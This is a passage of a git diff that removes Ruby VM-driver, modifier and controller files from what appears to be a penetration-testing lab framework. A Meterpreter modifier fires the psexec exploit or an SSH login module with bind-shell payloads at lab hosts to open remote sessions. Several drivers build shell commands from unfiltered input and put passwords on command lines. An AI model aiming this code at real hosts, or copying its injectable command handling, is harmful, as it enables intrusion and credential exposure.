snapshots
end
end
end
end
-201
View File
@@ -1,201 +0,0 @@
require 'vm_driver'
##
## $Id$
##
module Lab
module Drivers
class RemoteWorkstationDriver < VmDriver
attr_accessor :location # among other things
def initialize(config)
unless config['user'] then raise ArgumentError, "Must provide a username" end
unless config['host'] then raise ArgumentError, "Must provide a hostname" end
super(config)
@user = filter_command(config['user'])
@host = filter_command(config['host'])
end
def start
remote_system_command("vmrun -T ws start \'#{@location}\' nogui")
end
def stop
remote_system_command("vmrun -T ws stop \'#{@location}\' nogui")
end
def suspend
remote_system_command("vmrun -T ws suspend \'#{@location}\' nogui")
end
def pause
remote_system_command("vmrun -T ws pause \'#{@location}\' nogui")
end
def reset
remote_system_command("vmrun -T ws reset \'#{@location}\' nogui")
end
def create_snapshot(snapshot)
snapshot = filter_input(snapshot)
remote_system_command("vmrun -T ws snapshot \'#{@location}\' #{snapshot} nogui")
end
def revert_snapshot(snapshot)
snapshot = filter_input(snapshot)
remote_system_command("vmrun -T ws revertToSnapshot \'#{@location}\' #{snapshot} nogui")
end
def delete_snapshot(snapshot)
snapshot = filter_input(snapshot)
remote_system_command("vmrun -T ws deleteSnapshot \'#{@location}\' #{snapshot} nogui" )
end
def run_command(command)
# generate local & remote script paths
script_rand_name = rand(10000)
if @os == "windows"
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
remote_run_command = remote_tempfile_path
else
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_run_command = "/bin/sh #{remote_tempfile_path}"
end
# write out our script locally
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
# we really can't filter command, so we're gonna stick it in a script
if @tools
# copy it to the vm host - this is because we're a remote driver
remote_copy_command = "scp #{local_tempfile_path} #{@user}@#{@host}:#{local_tempfile_path}"
system_command(remote_copy_command)
# we have it on the vm host, copy it to the vm guest
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"copyFileFromHostToGuest \'#{@location}\' \'#{local_tempfile_path}\' " +
"\'#{remote_tempfile_path}\' nogui\""
system_command(vmrunstr)
# now run it on the guest
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"runProgramInGuest \'#{@location}\' -noWait -activeWindow \'#{remote_run_command}\'"
system_command(vmrunstr)
## CLEANUP
# delete it on the guest
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"deleteFileInGuest \'#{@location}\' \'#{remote_tempfile_path}\'"
system_command(vmrunstr)
# and delete it on the vm host
vmhost_delete_command = "ssh #{@user}@#{@host} rm #{local_tempfile_path}"
system_command(vmhost_delete_command)
# delete it locally
local_delete_command = "rm #{local_tempfile_path}"
system_command(local_delete_command)
else
# since we can't copy easily w/o tools, let's just run it directly :/
if @os == "linux"
scp_to(local_tempfile_path, remote_tempfile_path)
ssh_exec(remote_run_command)
ssh_exec("rm #{remote_tempfile_path}")
else
raise "Not Implemented - Install VmWare Tools"
end
end
end
def copy_from_guest(from, to)
from = filter_input(from)
to = filter_input(to)
# copy it to the vm host - this is because we're a remote driver
remote_copy_command = "scp #{from} #{@user}@#{@host}:#{from}"
system_command(remote_copy_command)
if @tools
remote_system_command("ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"copyFileFromGuestToHost \'#{@location}\' \'#{from}\' \'#{to}\' nogui")
else
scp_to(from,to)
end
end
def copy_to_guest(from, to)
from = filter_input(from)
to = filter_input(to)
# copy it to the vm host - this is because we're a remote driver
remote_copy_command = "scp #{from} #{@user}@#{@host}:#{from}"
system_command(remote_copy_command)
if @tools
remote_system_command("vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"copyFileFromHostToGuest \'#{@location}\' \'#{from}\' \'#{to}\' nogui")
else
scp_to(from,to)
end
end
def check_file_exists(file)
if @tools
file = filter_input(file)
remote_system_command("vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"fileExistsInGuest \'#{@location}\' \'{file}\' nogui")
else
raise "Not Implemented - Install VmWare Tools"
end
end
def create_directory(directory)
directory = filter_input(directory)
if @tools
remote_system_command("ssh #{@user}@#{@host} vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"createDirectoryInGuest \'#{@location}\' \'#{directory}\' nogui")
else
raise "Not Implemented - Install VmWare Tools"
end
end
def cleanup
end
def running?
# Get running VMs
running = remote_system_command("vmrun list nogui")
if running
running_array = running.split("\n")
running_array.shift
running_array.each do |vmx|
if vmx.to_s == @location.to_s
return true
end
end
end
false
end
end
end
end
-142
View File
@@ -1,142 +0,0 @@
require 'vm_driver'
require 'nokogiri'
##
## $Id$
##
module Lab
module Drivers
class VirtualBoxDriver < VmDriver
attr_accessor :location
def initialize(config)
super(config)
## Check to see if we already know this vm, if not, go on location
vmid_list = ::Lab::Controllers::VirtualBoxController::config_list
unless vmid_list.include? @vmid
raise "Error, no such vm: #{@vmid}" unless @location
if !File.exist?(@location)
raise ArgumentError,"Error, no vm at: #{@location}"
end
# Registering @location
@vmid = register_and_return_vmid
end
vmInfo = `VBoxManage showvminfo \"#{@vmid}\" --machinereadable`
@location = vmInfo.scan(/CfgFile=\"(.*?)\"/).flatten[0].to_s
if !File.exist?(@location)
raise ArgumentError,"Couldn't find: " + @location
end
end
def register_and_return_vmid
xml = Nokogiri::XML(File.new(@location))
vmid = xml.root.xpath("//Machine[@name]")
## only register if we don't already know the vmid
if !::Lab::Controllers::VirtualBoxController::config_list.include? vmid
system_command("VBoxManage registervm \"#{@location}\"")
end
return vmid
end
def unregister
system_command("VBoxManage unregistervm \"#{@vmid}\"")
end
def start
system_command("VBoxManage startvm \"#{@vmid}\"")
end
def stop
system_command("VBoxManage controlvm \"#{@vmid}\" poweroff")
end
def suspend
system_command("VBoxManage controlvm \"#{@vmid}\" savestate")
end
def pause
system_command("VBoxManage controlvm \"#{@vmid}\" pause")
end
def reset
system_command("VBoxManage controlvm \"#{@vmid}\" reset")
end
def create_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("VBoxManage snapshot \"#{@vmid}\" take #{snapshot}")
end
def revert_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("VBoxManage snapshot \"#{@vmid}\" restore #{snapshot}")
end
def delete_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("VBoxManage snapshot \"#{@vmid}\" delete #{snapshot}")
end
def run_command(command, arguments=nil)
command = filter_input(command)
arguments = filter_input(arguments)
command = "VBoxManage guestcontrol exec \"#{@vmid}\" \"#{command}\" --username \"#{@vm_user}\"" +
" --password \"#{@vm_pass}\" --arguments \"#{arguments}\""
system_command(command)
end
def copy_from_guest(from, to)
from = filter_input(from)
to = filter_input(to)
raise "Not supported by Virtual Box"
end
def copy_to_guest(from, to)
from = filter_input(from)
to = filter_input(to)
command = "VBoxManage guestcontrol copyto \"#{@vmid}\" \"#{from}\" \"#{to}\" " +
"--username \"#{@vm_user}\" --password \"#{@vm_pass}\""
system_command(command)
end
def check_file_exists(file)
file = filter_input(file)
raise "Not supported by Virtual Box"
end
def create_directory(directory)
directory = filter_input(directory)
command = "VBoxManage guestcontrol createdir \"#{@vmid}\" \"#{directory}\" " +
"--username \"#{@vm_user}\" --password \"#{@vm_pass}\""
system_command(command)
end
def cleanup
end
def running?
## Get running Vms
::Lab::Controllers::VirtualBoxController::running_list.include? @vmid
end
end
end
end
-173
View File
@@ -1,173 +0,0 @@
##
## $Id$
##
#
# !!WARNING!! - All drivers are expected to filter input before running
# anything based on it. This is particularly important in the case
# of the drivers which wrap a command line to provide functionality.
#
module Lab
module Drivers
class VmDriver
attr_accessor :vmid
attr_accessor :location
attr_accessor :os
attr_accessor :tools
attr_accessor :credentials
def initialize(config)
@vmid = filter_command(config["vmid"].to_s)
@location = filter_command(config["location"])
@credentials = config["credentials"] || []
@tools = filter_input(config["tools"])
@os = filter_input(config["os"])
@hostname = filter_input(config["hostname"]) || filter_input(config["vmid"].to_s)
# Currently only implemented for the first set
if @credentials.count > 0
@vm_user = filter_input(@credentials[0]['user'])
@vm_pass = filter_input(@credentials[0]['pass'])
@vm_keyfile = filter_input(@credentials[0]['keyfile'])
end
end
## This interface must be implemented in a child driver class
## #########################################################
def register
raise "Command not Implemented"
end
def unregister
raise "Command not Implemented"
end
def start
raise "Command not Implemented"
end
def stop
raise "Command not Implemented"
end
def suspend
raise "Command not Implemented"
end
def pause
raise "Command not Implemented"
end
def resume
raise "Command not Implemented"
end
def reset
raise "Command not Implemented"
end
def create_snapshot(snapshot)
raise "Command not Implemented"
end
def revert_snapshot(snapshot)
raise "Command not Implemented"
end
def delete_snapshot(snapshot)
raise "Command not Implemented"
end
def run_command(command)
raise "Command not Implemented"
end
def copy_from_guest(from, to)
raise "Command not Implemented"
end
def copy_to_guest(from, to)
raise "Command not Implemented"
end
def check_file_exists(file)
raise "Command not Implemented"
end
def create_directory(directory)
raise "Command not Implemented"
end
def cleanup
raise "Command not Implemented"
end
## End Interface
## #########################################################
private
def scp_to(local,remote)
#require 'net/scp'
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.upload!(from,to)
#end
system_command("scp #{local} #{@vm_user}@#{@hostname}:#{remote}")
end
def scp_from(local,remote)
#require 'net/scp'
# download a file from a remote server
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
# scp.download!(from,to)
#end
system_command("scp #{@vm_user}@#{@hostname}:#{remote} #{local}")
end
def ssh_exec(command)
::Net::SSH.start(@hostname, @vm_user, :password => @vm_pass) do |ssh|
result = ssh.exec!(command)
end
`scp #{@vm_user}@#{@hostname} from to`
end
def filter_input(string)
return "" unless string # nil becomes empty string
return string unless string.class == String # Allow other types unmodified
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
def filter_command(string)
return "" unless string # nil becomes empty string
return unless string.class == String # Allow other types unmodified
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
# The only reason we don't filter here is because we need
# the ability to still run clean (controlled entirely by us)
# command lines.
def system_command(command)
`#{command}`
end
def remote_system_command(command)
system_command("ssh #{@user}@#{@host} \"#{command}\"")
end
end
end
end
-188
View File
@@ -1,188 +0,0 @@
require 'vm_driver'
##
## $Id$
##
module Lab
module Drivers
class WorkstationDriver < VmDriver
def initialize(config)
super(config)
if !File.exist?(@location)
raise ArgumentError,"Couldn't find: #{@location}"
end
end
def start
system_command("vmrun -T ws start " + "\'#{@location}\' nogui")
end
def stop
system_command("vmrun -T ws stop " + "\'#{@location}\' nogui")
end
def suspend
system_command("vmrun -T ws suspend " + "\'#{@location}\' nogui")
end
def pause
system_command("vmrun -T ws pause " + "\'#{@location}\' nogui")
end
def reset
system_command("vmrun -T ws reset " + "\'#{@location}\' nogui")
end
def create_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("vmrun -T ws snapshot " + "\'#{@location}\' \'#{snapshot}\' nogui")
end
def revert_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("vmrun -T ws revertToSnapshot " + "\'#{@location}\' \'#{snapshot}\' nogui")
end
def delete_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("vmrun -T ws deleteSnapshot " + "\'#{@location}\' \'#{snapshot}\' nogui" )
end
def run_command(command)
script_rand_name = rand(10000)
if @os == "windows"
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
remote_run_command = remote_tempfile_path
else
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
remote_run_command = "/bin/sh #{remote_tempfile_path}"
end
# write out our script locally
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
# we really can't filter command, so we're gonna stick it in a script
if @tools
# copy our local tempfile to the guest
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"copyFileFromHostToGuest \'#{@location}\' \'#{local_tempfile_path}\'" +
" \'#{remote_tempfile_path}\' nogui"
system_command(vmrunstr)
# now run it on the guest
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"runProgramInGuest \'#{@location}\' -noWait -activeWindow \'#{remote_run_command}\'"
system_command(vmrunstr)
## CLEANUP
# delete it on the guest
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
"deleteFileInGuest \'#{@location}\' \'#{remote_tempfile_path}\'"
system_command(vmrunstr)
# delete it locally
local_delete_command = "rm #{local_tempfile_path}"
system_command(local_delete_command)
else
# since we can't copy easily w/o tools, let's just run it directly :/
if @os == "linux"
output_file = "/tmp/lab_command_output_#{rand(1000000)}"
scp_to(local_tempfile_path, remote_tempfile_path)
ssh_exec(remote_run_command + "> #{output_file}")
scp_from(output_file, output_file)
ssh_exec("rm #{output_file}")
ssh_exec("rm #{remote_tempfile_path}")
# Ghettohack!
string = File.open(output_file,"r").read
`rm #{output_file}`
else
raise "zomgwtfbbqnotools"
end
end
return string
end
def copy_from_guest(from, to)
from = filter_input(from)
to = filter_input(to)
if @tools
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' copyFileFromGuestToHost " +
"\'#{@location}\' \'#{from}\' \'#{to}\'"
else
scp_from(from, to)
end
system_command(vmrunstr)
end
def copy_to_guest(from, to)
from = filter_input(from)
to = filter_input(to)
if @tools
vmrunstr = "vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} copyFileFromHostToGuest " +
"\'#{@location}\' \'#{from}\' \'#{to}\'"
system_command(vmrunstr)
else
scp_to(from, to)
end
end
def check_file_exists(file)
file = filter_input(file)
if @tools
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' fileExistsInGuest " +
"\'#{@location}\' \'#{file}\' "
system_command(vmrunstr)
else
raise "Unsupported"
end
end
def create_directory(directory)
directory = filter_input(directory)
if @tools
vmrunstr = "vmrun -T ws -gu \'#{@vm_user}\' -gp \'#{@vm_pass}\' createDirectoryInGuest " +
" \'#{@location}\' \'#{directory}\' "
system_command(vmrunstr)
else
raise "Unsupported"
end
end
def cleanup
end
def running?
## Get running Vms
running = `vmrun list`
running_array = running.split("\n")
running_array.shift
running_array.each do |vmx|
if vmx.to_s == @location.to_s
return true
end
end
return false
end
end
end
end
-126
View File
@@ -1,126 +0,0 @@
require 'vm_driver'
##
## $Id$
##
# This requires rhythmx's vixr driver from https://github.com/rhythmx/vixr
# and below that, the VIX api from vmware http://www.vmware.com/support/developer/vix-api/
module Lab
module Drivers
class WorkstationVixrDriver < VmDriver
attr_accessor :type
attr_accessor :location
def initialize(vmid, location, os=nil, tools=false, credentials=nil)
# We have to treat this differently, as it's not in the same tree
begin
require 'vixr'
rescue LoadError
puts "WARNING: Library pro_vixr not found. To resolve this error, please\n" +
" install the vixr gem. Latest is available here:\n" +
"https://github.com/rhythmx/vixr ."
raise "Unable to create vixr driver"
end
@vmid = filter_command(vmid)
@location = filter_command(location)
if !File.exist?(@location)
raise ArgumentError,"Couldn't find: " + location
end
@credentials = credentials
@tools = tools # not used in command lines, no filter
@os = os # not used in command lines, no filter
# TODO - Currently only implemented for the first set
if @credentials.count > 0
@vm_user = filter_input(@credentials[0]['user']) || "\'\'"
@vm_pass = filter_input(@credentials[0]['pass']) || "\'\'"
end
host = VixR.connect()
vm = host.open_vmx(@location)
end
def start
vm.power_on
end
def stop
vm.power_off
end
def suspend
vm.suspend
end
def pause
vm.pause
end
def reset
vm.reset
end
def create_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("ssh #{@user}@#{@host} vmrun -T ws snapshot \\\'#{@location}\\\' #{snapshot} nogui")
end
def revert_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("ssh #{@user}@#{@host} vmrun -T ws revertToSnapshot \\\'#{@location}\\\' #{snapshot} nogui")
end
def delete_snapshot(snapshot)
snapshot = filter_input(snapshot)
system_command("ssh #{@user}@#{@host} vmrun -T ws deleteSnapshot \\\'#{@location}\\\' #{snapshot} nogui" )
end
def run_command(command)
command = filter_input(command)
if vm.login(@vm_user,@vm_pass)
vm.run_prog(command)
end
end
def copy_from_guest(from, to)
from = filter_input(from)
to = filter_input(to)
cp_from_host(from,to)
end
def copy_to_guest(from, to)
from = filter_input(from)
to = filter_input(to)
vm.cp_to_guest(from,to)
end
def check_file_exists(file)
file = filter_input(file)
file_exists?(file)
end
def create_directory(directory)
directory = filter_input(directory)
end
def cleanup
end
def running?
vm.running?
end
end
end
end
-8
View File
@@ -1,8 +0,0 @@
require 'driver/workstation_driver'
require 'driver/virtualbox_driver'
require 'driver/fog_driver'
require 'driver/dynagen_driver'
require 'driver/remote_workstation_driver'
require 'driver/remote_esx_driver'
#require 'driver/qemu_driver'
#require 'driver/qemudo_driver'
-16
View File
@@ -1,16 +0,0 @@
module Lab
module Modifier
module Backtrack5
def nmap(options)
run_command("nmap #{filter_input(options)}")
end
def testssl(site)
run_command("/pentest/scanners/testssl/testssl.sh #{filter_input(site)}")
end
end
end
end
-14
View File
@@ -1,14 +0,0 @@
# This assumes you're on a recent ubuntu
# TODO - enforce this, or split it out...
module Lab
module Modifier
module Dos
def ping(target)
run_command("ping #{filter_input(target)}")
end
end
end
end
-155
View File
@@ -1,155 +0,0 @@
$:.unshift(File.join(File.dirname(__FILE__), '..', '..'))
# This allows us to override the default way of running commands
# Currently useful for the remote esx driver
module Lab
module Modifier
module Meterpreter
attr_accessor :framework
attr_accessor :session
attr_accessor :session_input
attr_accessor :session_output
def meterpreter_run_command(command, timeout=60)
setup_session
puts "Using session #{@session}"
# TODO: pass the timeout down
if @session
if @session.type == "shell"
puts "Running command via shell: #{command}"
@session.shell_command_token(command, timeout)
elsif @session.type == "meterpreter"
puts "Running command via meterpreter: #{command}"
@session.shell_command(command) #, timeout)
end
else
raise "No session"
end
end
def meterpreter_copy_to_guest(local,remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("upload #{local} #{remote}")
else
@driver.copy_to(local,remote)
end
end
def meterpreter_copy_from_guest(local, remote)
puts "DEBUG: Meterpreter"
setup_session
if @session.type == "meterpreter"
@session.run_cmd("download #{local} #{remote}")
else
@driver.copy_from(local,remote)
end
end
# This isn't part of the normal API, but too good to pass up.
def meterpreter_run_script(script, options)
if @session.type == "meterpreter"
@session.execute_script(script, options)
else
raise "Unsupported on #{@session.type}"
end
end
private
def create_framework
return if @framework
@framework = Msf::Simple::Framework.create
end
# perform the setup only once
def setup_session
return if @session
# require the framework (assumes this sits in lib/lab/modifiers)
require 'msf/base'
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
@session = nil
@session_input = Rex::Ui::Text::Input::Buffer.new
@session_output = Rex::Ui::Text::Output::Buffer.new
if @os == "windows"
exploit_name = 'windows/smb/psexec'
# TODO - check for x86, choose the appropriate payload
payload_name = 'windows/meterpreter/bind_tcp'
options = {
"RHOST" => @hostname,
"SMBUser" => @vm_user,
"SMBPass" => @vm_pass}
puts "DEBUG: using options #{options}"
# Initialize the exploit instance
exploit = @framework.exploits.create(exploit_name)
begin
# Fire it off.
@session = exploit.exploit_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session.load_stdapi
puts "DEBUG: Generated session: #{@session}"
rescue Exception => e
puts "DEBUG: Unable to exploit"
puts e.to_s
end
else
module_name = 'scanner/ssh/ssh_login'
# TODO - check for x86, choose the appropriate payload
payload_name = 'linux/x86/shell_bind_tcp'
options = { "RHOSTS" => @hostname,
"USERNAME" => @vm_user,
"PASSWORD" => @vm_pass,
"BLANK_PASSWORDS" => false,
"USER_AS_PASS" => false,
"VERBOSE" => false}
puts "DEBUG: using options #{options}"
# Initialize the module instance
aux = @framework.auxiliary.create(module_name)
puts "DEBUG: created module: #{aux}"
begin
# Fire it off.
aux.run_simple(
'Payload' => payload_name,
'Options' => options,
'LocalInput' => @session_input,
'LocalOutput' => @session_output)
@session = @framework.sessions.first.last
puts "DEBUG: Generated session: #{@session}"
rescue Exception => e
puts "DEBUG: Unable to exploit"
puts e.to_s
end
end
end
end
end
end
-16
View File
@@ -1,16 +0,0 @@
# This assumes you're on a recent ubuntu
# TODO - enforce this, or split it out...
module Lab
module Modifier
module Test
def install_nmap
run_command("sudo apt-get install nmap")
end
def nmap(options)
run_command("nmap #{filter_input(options)}")
end
end
end
end
-4
View File
@@ -1,4 +0,0 @@
require 'modifier/test_modifier'
require 'modifier/backtrack5_modifier'
require 'modifier/meterpreter_modifier'
require 'modifier/dos_modifier'
-260
View File
@@ -1,260 +0,0 @@
##
## $Id$
##
module Lab
class Vm
attr_accessor :vmid
attr_accessor :hostname
attr_accessor :name
attr_accessor :description
attr_accessor :location
attr_accessor :driver
attr_accessor :credentials
attr_accessor :tools
attr_accessor :type
attr_accessor :user
attr_accessor :host
attr_accessor :os
attr_accessor :arch
attr_accessor :tags
attr_accessor :type
## Initialize takes a vm configuration hash of the form
## - vmid (unique identifier)
## driver (vm technology)
## user (if applicable - remote system)
## host (if applicable - remote system)
## pass (if applicable - remote system)
## location (file / uri)
## credentials (of the form [ {'user'=>"user",'pass'=>"pass", 'admin' => false}, ... ])
## os (currently only linux / windows)
## arch (currently only 32 / 64
def initialize(config = {})
# TODO - This is a mess. clean up, and pass stuff down to drivers
# and then rework the code that uses this api.
@vmid = config['vmid'].to_s
raise "Invalid VMID" unless @vmid
# Grab the hostname if specified, otherwise use the vmid
# VMID will be different in the case of ESX
@hostname = config['hostname']
if !@hostname
@hostname = @vmid
end
@driver_type = filter_input(config['driver'])
@driver_type.downcase!
@location = filter_input(config['location'])
#@name = config['name'] || ""
@description = config['description'] || ""
@tools = config['tools'] || ""
@os = config['os'] || ""
@arch = config['arch'] || ""
@type = filter_input(config['type']) || "unspecified"
@credentials = config['credentials'] || []
# TODO - Currently only implemented for the first set
if @credentials.count > 0
@vm_user = filter_input(@credentials[0]['user']) || "\'\'"
@vm_pass = filter_input(@credentials[0]['pass']) || "\'\'"
@vm_keyfile = filter_input(@credentials[0]['keyfile'])
end
# Only applicable to remote systems
@user = filter_input(config['user']) || nil
@host = filter_input(config['host']) || nil
@port = filter_input(config['port']) || nil
@pass = filter_input(config['pass']) || nil
#Only dynagen systems need this
@platform = config['platform']
#Only fog systems need this
@fog_config = config['fog_config']
# Process the correct driver
if @driver_type == "workstation"
@driver = Lab::Drivers::WorkstationDriver.new(config)
elsif @driver_type == "virtualbox"
@driver = Lab::Drivers::VirtualBoxDriver.new(config)
elsif @driver_type == "fog"
@driver = Lab::Drivers::FogDriver.new(config, config['fog_config'])
elsif @driver_type == "dynagen"
@driver = Lab::Drivers::DynagenDriver.new(config, config['dynagen_config'])
elsif @driver_type == "remote_esx"
@driver = Lab::Drivers::RemoteEsxDriver.new(config)
elsif @driver_type == "remote_workstation"
@driver = Lab::Drivers::RemoteWorkstationDriver.new(config)
#elsif @driver_type == "qemu"
# @driver = Lab::Drivers::QemuDriver.new
#elsif @driver_type == "qemudo"
# @driver = Lab::Drivers::QemudoDriver.new
else
raise "Unknown Driver Type"
end
# Load in a list of modifiers. These provide additional methods
# Currently it is up to the user to verify that
# modifiers are properly used with the correct VM image.
@modifiers = config['modifiers']
if @modifiers
@modifiers.each do |modifier|
begin
self.class.send(:include, eval("Lab::Modifier::#{modifier}"))
rescue Exception => e
#puts "WARNING: Unable to load: #{modifier}"
#puts "Exception: #{e}"
end
end
end
# Consume all tags
@tags = config['tags']
end
def tagged?(tag_name)
return false unless @tags
return true if @tags.include?(tag_name)
end
def running?
@driver.running?
end
def location
@driver.location
end
def start
@driver.start
end
def stop
@driver.stop
end
def pause
@driver.pause
end
def suspend
@driver.suspend
end
def reset
@driver.reset
end
def resume
@driver.resume
end
def create_snapshot(snapshot)
@driver.create_snapshot(snapshot)
end
def revert_snapshot(snapshot)
@driver.revert_snapshot(snapshot)
end
def delete_snapshot(snapshot)
@driver.delete_snapshot(snapshot)
end
def revert_and_start(snapshot)
@driver.revert_snapshot(snapshot)
@driver.start
end
def copy_to_guest(from,to)
@driver.copy_to_guest(from,to)
end
def copy_from_guest(from,to)
@driver.copy_from_guest(from,to)
end
def run_command(command)
@driver.run_command(command)
end
def check_file_exists(file)
@driver.check_file_exists(file)
end
def create_directory(directory)
@driver.create_directory(directory)
end
def open_uri(uri)
# we don't filter the uri, as it's getting tossed into a script
# by the driver
if @os == "windows"
command = "\"C:\\program files\\internet explorer\\iexplore.exe\" #{uri}"
else
command = "firefox #{uri}"
end
@driver.run_command(command)
end
def to_s
return "#{@hostname}"
end
def to_yaml
# Standard configuration options
out = " - vmid: #{@vmid}\n"
out = " hostname: #{@hostname}\n"
out += " driver: #{@driver_type}\n"
out += " location: #{@location}\n"
out += " type: #{@type}\n"
out += " tools: #{@tools}\n"
out += " os: #{@os}\n"
out += " arch: #{@arch}\n"
if @user or @host # Remote vm/drivers only
out += " user: #{@user}\n"
out += " host: #{@host}\n"
end
if @platform
out += " platform: #{@platform}\n"
end
if @fog_config
out += @fog_config.to_yaml
end
if @dynagen_config
out += @dynagen_config.to_yaml
end
out += " credentials:\n"
@credentials.each do |credential|
out += " - user: #{credential['user']}\n"
out += " pass: #{credential['pass']}\n"
end
return out
end
private
def filter_input(string)
return "" unless string # nil becomes empty string
return unless string.class == String # Allow other types
unless /^[(!)\d*\w*\s*\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
raise "WARNING! Invalid character in: #{string}"
end
string
end
end
end
-247
View File
@@ -1,247 +0,0 @@
##
## $Id$
##
## This is the main lab controller. Require this controller to get all
## lab functionality.
##
##
$:.unshift(File.expand_path(File.dirname(__FILE__)))
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'driver')))
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'controller')))
$:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'modifier')))
require 'find'
require 'yaml'
require 'enumerator'
require 'fileutils'
require 'vm'
require 'controllers'
require 'drivers'
require 'modifiers'
module Lab
module Controllers
class VmController
include Enumerable
include Lab::Controllers::WorkstationController
include Lab::Controllers::VirtualBoxController
include Lab::Controllers::FogController
include Lab::Controllers::DynagenController
include Lab::Controllers::RemoteEsxController
include Lab::Controllers::RemoteWorkstationController
#include Lab::Controllers::QemuController
#include Lab::Controllers::QemudoController
def initialize (labdef=nil)
# Start with an empty array of vm objects
@vms = []
# labdef is a just a big array of hashes
load_vms(labdef) if labdef
end
def clear!
@vms = []
end
def [](x)
# Support indexing by both names and number
if x.class == String
find_by_hostname(x)
else
return @vms[x]
end
end
def find_by_hostname(vmid)
@vms.each do |vm|
if (vm.hostname.to_s.downcase == vmid.to_s.downcase)
return vm
end
end
return nil
end
def find_by_tag(tag_name)
tagged_vms = []
@vms.each { |vm| tagged_vms << vm if vm.tagged?(tag_name) }
return tagged_vms
end
def add_vm(vmid, location=nil, os=nil, tools=nil, credentials=nil, user=nil, host=nil)
@vms << Vm.new( { 'vmid' => vmid,
'driver' => type,
'location' => location,
'credentials' => credentials,
'user' => user,
'host' => host} )
end
def remove_by_vmid(vmid)
@vms.delete(self.find_by_hostname(vmid))
end
def from_file(file)
load_vms(YAML::load_file(file))
end
def load_vms(vms)
vms.each do |item|
vm = Vm.new(item)
@vms << vm unless includes_vmid? vm.vmid
end
end
def to_file(file)
File.open(file, 'w') { |f| @vms.each { |vm| f.puts vm.to_yaml } }
end
def each &block
@vms.each { |vm| yield vm }
end
def includes?(specified_vm)
@vms.each { |vm| if (vm == specified_vm) then return true end }
end
def includes_vmid?(vmid)
@vms.each do |vm|
return true if (vm.vmid == vmid)
end
false
end
def includes_hostname?(hostname)
@vms.each do |vm|
return true if (vm.hostname == hostname)
end
false
end
def build_from_dir(driver_type, dir, clear=false)
if clear
@vms = []
end
if driver_type.downcase == "workstation"
vm_list = ::Lab::Controllers::WorkstationController::dir_list(dir)
elsif driver_type.downcase == "virtualbox"
vm_list = ::Lab::Controllers::VirtualBoxController::dir_list(dir)
elsif driver_type.downcase == "fog"
vm_list = ::Lab::Controllers::FogController::dir_list(dir)
elsif driver_type.downcase == "Dynagen"
vm_list = ::Lab::Controllers::DynagenController::dir_list(dir)
elsif driver_type.downcase == "remote_workstation"
vm_list = ::Lab::Controllers::RemoteWorkstationController::dir_list(dir)
elsif driver_type.downcase == "remote_esx"
vm_list =::Lab::Controllers::RemoteEsxController::dir_list(dir)
else
raise TypeError, "Unsupported VM Type"
end
vm_list.each_index do |index|
@vms << Vm.new( {'vmid' => "vm_#{index}", 'driver' => driver_type, 'location' => vm_list[index]} )
end
end
def build_from_running(driver_type=nil, user=nil, host=nil, clear=false)
if clear
@vms = []
end
case driver_type.intern
when :workstation
vm_list = ::Lab::Controllers::WorkstationController::running_list
vm_list.each do |item|
## Name the VM
index = @vms.count + 1
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "vm_#{index}",
'driver' => driver_type,
'location' => item,
'user' => user,
'host' => host } )
end
when :virtualbox
vm_list = ::Lab::Controllers::VirtualBoxController::running_list
vm_list.each do |item|
## Add it to the vm list
@vms << Vm.new( { 'vmid' => "#{item}",
'driver' => driver_type,
'location' => nil })
end
when :fog
raise "Unsupported" # TODO - figure out a way to allow this
when :dynagen
raise "Unsupported"
when :remote_workstation
